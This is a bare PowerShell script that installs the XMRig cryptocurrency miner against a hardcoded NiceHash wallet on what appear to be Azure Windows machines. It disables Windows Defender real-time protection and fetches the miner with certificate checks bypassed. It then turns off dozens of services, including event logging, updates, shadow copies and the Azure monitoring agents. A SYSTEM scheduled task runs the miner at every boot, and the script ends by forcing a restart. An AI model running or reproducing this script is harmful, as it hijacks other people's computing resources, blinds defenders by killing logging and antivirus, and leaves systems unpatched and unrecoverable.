Set-MpPreference -DisableRealtimeMonitoring $true

new-item C:\XM\CPU -itemtype directory
Start-Sleep -Seconds 1
New-Item C:\XM\Config.json -ItemType file
Start-Sleep -Seconds 1
Add-Content 'C:\XM\Config.json' '{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 1,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 1,
"huge-pages": true,
"hw-aes": true,
"log-file": null,
"max-cpu-usage": 95,
"pools": [
{
"url": "cryptonightv8.eu.nicehash.com:3367",
"user": "36D9MEV27p2TprzLNd6Kf6SaicWEkx2wmz.AZ2",
"pass": "x",
"rig-id": null,
"nicehash": true,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": [
{
"low_power_mode": 1,
"affine_to_cpu": false,
"asm": true
},
{
"low_power_mode": 1,
"affine_to_cpu": false,
"asm": true
},
{
"low_power_mode": 1,
"affine_to_cpu": false,
"asm": true
},
{
"low_power_mode": 1,
"affine_to_cpu": false,
"asm": true
}
],
"user-agent": null,
"watch": false
}'

Start-Sleep -Seconds 1

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$Url = "https://github.com/xmrig/xmrig/releases/download/v2.8.3/xmrig-2.8.3-gcc-win64.zip"
$Path = "c:\XM\xmrig-2.8.3-gcc-win64.zip"
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$webClient = new-object System.Net.WebClient
$webClient.DownloadFile( $Url, $Path )
Add-Type -AssemblyName System.IO.Compression.FileSystem
function unzip {
param( [string]$ziparchive, [string]$extractpath )
[System.IO.Compression.ZipFile]::ExtractToDirectory( $ziparchive, $extractpath )
}

Start-Sleep -Seconds 15

unzip "c:\XM\xmrig-2.8.3-gcc-win64.zip" "C:\XM\CPU"

Start-Sleep -Seconds 2

Remove-Item -Path C:\XM\CPU\config.json -Force
Move-Item -path C:\XM\Config.json -destination C:\XM\CPU\Config.json

Start-Process -FilePath "C:\XM\CPU\xmrig.exe"
Start-Sleep -Seconds 2
Stop-Process -Name "xmrig" -Force


Set-Service "wuauserv" -StartupType -StartupType Disabled
Set-Service "WindowsAzureGuestAgent" -StartupType Disabled
Set-Service "WindowsAzureTelemetryService" -StartupType Disabled
Set-Service "WindowsAzureNetAgentSvc" -StartupType Disabled
Set-Service "EventLog" -StartupType Disabled
Set-Service "RdAgent" -StartupType Disabled
Set-Service "HvHost" -StartupType Disabled
Set-Service "vmickvpexchange" -StartupType Disabled
Set-Service "vmicguestinterface" -StartupType Disabled
Set-Service "vmicshutdown" -StartupType Disabled
Set-Service "vmicheartbeat" -StartupType Disabled
Set-Service "vmicvmsession" -StartupType Disabled
Set-Service "vmicrdv" -StartupType Disabled
Set-Service "vmictimesync" -StartupType Disabled
Set-Service "vmicvss" -StartupType Disabled
Set-Service "pla" -StartupType Disabled
Set-Service "Spooler" -StartupType Disabled
Set-Service "SSDPSRV" -StartupType Disabled
Set-Service "SENS" -StartupType Disabled
Set-Service "PcaSvc" -StartupType Disabled
Set-Service "lfsvc" -StartupType Disabled
Set-Service "WpnService" -StartupType Disabled
Set-Service "SystemEventsBroker" -StartupType Disabled
Set-Service "WinHttpAutoProxySvc" -StartupType Disabled
Set-Service "CryptSvc" -StartupType Disabled
Set-Service "DeviceInstall" -StartupType Disabled
Set-Service "DsmSvc" -StartupType Disabled
Set-Service "DPS" -StartupType Disabled
Set-Service "WdiSystemHost" -StartupType Disabled
Set-Service "TrkWks" -StartupType Disabled
Set-Service "MSDTC" -StartupType Disabled
Set-Service "dmwappushservice" -StartupType Disabled
Set-Service "lfsvc" -StartupType Disabled
Set-Service "NcbService" -StartupType Disabled
Set-Service "netprofm" -StartupType Disabled
Set-Service "NlaSvc" -StartupType Disabled
Set-Service "pla" -StartupType Disabled
Set-Service "PlugPlay" -StartupType Disabled
Set-Service "WPDBusEnum" -StartupType Disabled
Set-Service "PcaSvc" -StartupType Disabled
Set-Service "ShellHWDetection" -StartupType Disabled
Set-Service "VSS" -StartupType Disabled
Set-Service "sacsvr" -StartupType Disabled
Set-Service "Wcmsvc" -StartupType Disabled
Set-Service "TrustedInstaller" -StartupType Disabled
Set-Service "sacsvr" -StartupType Disabled
Set-Service "WpnService" -StartupType Disabled
Set-Service "WinRM" -StartupType Disabled
Set-Service "LanmanServer" -StartupType Disabled
Set-Service "CertPropSvc" -StartupType Disabled
Set-Service "RemoteRegistry" -StartupType Disabled

$Trigger= New-ScheduledTaskTrigger -AtStartup
$User= "NT AUTHORITY\SYSTEM"
$Action= New-ScheduledTaskAction -Execute "C:\XM\CPU\xmrig.exe"
Register-ScheduledTask -TaskName "XM" -Trigger $Trigger -User $User -Action $Action -RunLevel Highest -Force

Restart-Computer -Force